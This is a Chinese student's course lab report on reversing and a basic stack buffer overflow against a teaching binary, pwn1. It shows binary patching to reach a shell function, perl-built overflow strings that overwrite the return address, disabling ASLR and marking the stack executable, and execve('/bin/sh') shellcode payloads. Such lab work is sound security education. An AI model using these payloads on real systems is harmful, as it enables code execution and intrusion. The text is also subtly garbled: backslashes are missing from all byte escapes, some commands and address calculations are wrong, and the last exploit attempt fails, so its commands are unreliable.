20181235周昱涵《网络对抗技术》逆向及Bof基础实践
1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
--
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
基础知识
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码:
(1)NOP:NOP指令为空指令,运行时CPU什么都不做,但是会占用一个指令的时间,通常用于延时或等待,机器码:90。
(2)JNE:条件转移指令,当不相等时跳转,机器码为75。
(3)JE:条件跳转指令,当相等时跳转,机器码为74。
(4)JMP:无条件跳转指令,机器码:E9。
(5)CMP:比较指令,比较两个操作数的大小,用第一个操作数减去第二个操作数,但是不影响两个操作数的值,但会影响标志寄存器。
2掌握反汇编与十六进制编程器并能正确修改机器指令改变程序执行流程
首先将老师发给我们的pwn1文件进行改名:
mv pwn1 20181235
运用以下指令对可执行文件进行反汇编:
objdump -r 20181235
然后得到20181235这个可执行文件的反汇编后结果,然后找到我们需要查看的地方:
在main函数的第四条可以看到他将指向foo函数,这里我们的任务是将这里改成指向getshell函数在执行到这条指令时EIP存储的是0x80484ba,0x8048491-0x80484ba=FFFFFD7(指向foo函数),需要执行getshell则需要用0x804847d-0x80484ba=FFFFFC3,经过计算需要将D7改成C3,这里运用vi打开我们已经改名好的pwn1文件。
vi 20181235
这里输入以下指令将文件转换为16进制:
:%!xxd
我们需要找到e8d7并将d7改为c3:
/e8 d7
然后用以下指令转回去:
:%!xxd -r
最后反汇编查看是否更改成功:
执行改文件:
3.正确构造payload进行bof攻击
安装GDB:
sudo apt-get install gdb
通过老师上课视频知道foo函数指令有Buffer overflow漏洞,在栈结构上可以发现EIP和EBP各占4字节,缓冲区占28字节。如果填充36字节,其中的33-36字节将覆盖EIP中的返回地址,造成缓冲区溢出攻击。
读入的字符串系统只预留了_28_字节的缓冲区,超出部分会造成溢出。
调用GDB对pwn1文件进行调试:
gdb pwn1
到达这一步时我们输入r运行调试,并且在调试时输入:
1111111122222222333333334444444412345678
在这里我们输入指令:
info r
该条指令的目的是查看寄存器的值,EIP寄存器此时的值为0x34333231,该值所对应的ASCII码代表的1234正是我们在输入完8个1、2、3、4时后面输入的12345678的前面4个。到这里我们需要将EIP里面的内容填入我们需要跳转的地址,正是getshell的地址(0804847d),输入的字符串应该是:
11111111222222223333333344444444x7dx84x04x08x0a
`perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input`
使用输出重定向>将perl生成的字符串存储到文件input中。
这里产生了应该input文件,然后我们运用以下指令来执行并查看是否达到我们预期结果:
(cat input; cat) | ./pwn1
4.注入shellcode并执行
首先我们需要将老师给的Prelink软件压缩包放入我们的虚拟机内的一个文件夹里,然后对这个压缩包进行解压缩:
bzip2 -d prelink_0.0.20130503.orig.tar.bz2
安装libelf-dev:
sudo apt-get install libelf-dev
执行解压缩出来的configure:
./configur
然后继续执行make:
make
最后一步:
sudo make install
这样我们就将prelink安装完成。
接下来我们需要将需要的环境调配好
将我们的pwn1文件设置为堆栈可执行:
execstack -s pwn1
我们可以利用下面这条指令查看是否设置成过如果成过将会显示X:
execstack -q pwn1
然后将地址随机化进行关闭,结果为2则表示打开,结果为0则证明已经关闭:
more /proc/sys/kernel/randomize_va_space
运行下面这条指令进行关闭:
echo "0" > /proc/sys/kernel/randomize_va_space
然后进行再次查看(这里注意需要开启root权限)
此次使用的shellcode是老师视频里的那个x04x03x02x01需要我们后面进行修改:
perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
这时我们打开第二个终端输入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1
再开一个终端查看我们这个进程的进程号:
ps -ef | grep pwn1
这里我们可以看到./pwn1的进程号为2733,然后我们用GDB进行调试:
gdb
使用attach 加进程号进行调试(因为我重新开启了一遍进程号发生了改变)
attach 2885
使用命令反汇编,通过设置断点,来查看注入字符串的内存地址:
disassemble foo
这里可以看到ret指令的地址为0x080484ae,通过指令设置断点,输入C命令继续运行:
break *0x080484ae
在另外一个终端中按下回车使上一调试过程继续执行。再返回调试终端,使用info r esp
命令查找地址:
此时esp寄存器的值为0xffffd1ac,输入:
x/16x 0xffffd1ac
以16进制形式查看0xffffd1ac地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd1ac+0x00000004=0xffffd1b0
将注入地址修改为:
perl -e 'print "A" x 32;print"xb0xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
并输入
(cat input_shellcode;cat) | ./pwn1
运行pwn1,中间出了一点小问题,然后我重新做了一遍前面操作此时地址发送了改变。
此时地址为0xffffd19c+4为0xfffd1a
我将shellcode里的x04x03x02x01改为了xa0xd1xffxff
perl -e 'print "A" x 32;print "xa0xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
出错的结果为:
这里显示管道破裂和段错误,我认为应该是我前面找的返回地址产生了错误。###
5.实验收获与感想
在这次实验基本是跟着老师的视频和学长的博客完成,虽然是最简单的实验,但是还是在实验过程中觉得很有趣,虽然知道知识,但在实践过程还是有许多的问题,果然还是要多多动手,更要理解原理。